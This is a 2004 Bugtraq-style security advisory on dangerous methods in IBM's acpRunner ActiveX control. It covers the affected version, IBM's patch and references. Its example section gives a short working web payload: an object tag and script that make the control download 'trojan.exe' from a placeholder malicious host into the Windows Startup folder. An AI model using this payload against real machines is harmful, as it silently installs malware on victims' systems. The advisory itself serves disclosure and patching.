IBM ACPRunner ActiveX Control Dangerous Method Vulnerability

Bugtraq ID:	10561
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 16 2004 12:00AM
Updated:	Jun 16 2004 12:00AM
Credit:	Discovery of this vulnerability is credited to eEye Digital Security.
Vulnerable:	IBM acpRunner 1.2.5 .0
Not Vulnerable:

IBM ACPRunner ActiveX Control Dangerous Method Vulnerability

It is reported that the IBM acpRunner ActiveX control contains dangerous methods that may result in a remote compromise of a system on which the ActiveX control is installed. These methods may be accessed by a malicious website and may result in the silent installation of a malicious executable.

A remote attacker may exploit this vulnerability in order to silently install a malicious executable on an affected system.

IBM ACPRunner ActiveX Control Dangerous Method Vulnerability

There is no exploit required; however the following example is available:
|object width="310" height="20"
codebase="https://www-3.ibm.com/pc/support/access/aslibmain/content/AcpC
ontrol.cab" id="runner"
classid="CLSID:E598AC61-4C6F-4F4D-877F-FAC49CA91FA3"
data="DATA:application/x-oleobject;BASE64,YayY5W9MTU+Hf/rEnKkfowADAAAKIA
AAEQIAAA==">
|object|

|script|
runner.DownLoadURL = "http://malicioussystem/trojan.exe";
runner.SaveFilePath = "\..\\Start Menu\\Programs\\Startup";
runner.FileSize = 96,857;
runner.FileDate = "01/09/2004 3:33";
runner.DownLoad();
|script|

IBM ACPRunner ActiveX Control Dangerous Method Vulnerability

Solution:
IBM has released a patch to address this issue:


IBM acpRunner 1.2.5 .0

• IBM access_support_fp2.exe
  http://www-306.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-54 588

IBM ACPRunner ActiveX Control Dangerous Method Vulnerability

References:

• IBM acpRunner Activex Dangerous Methods Vulnerability (eEye Digital Security)
  
• MIGR-51860 (IBM)
  
• IBM acpRunner Activex Dangerous Methods Vulnerability ("Drew Copley" )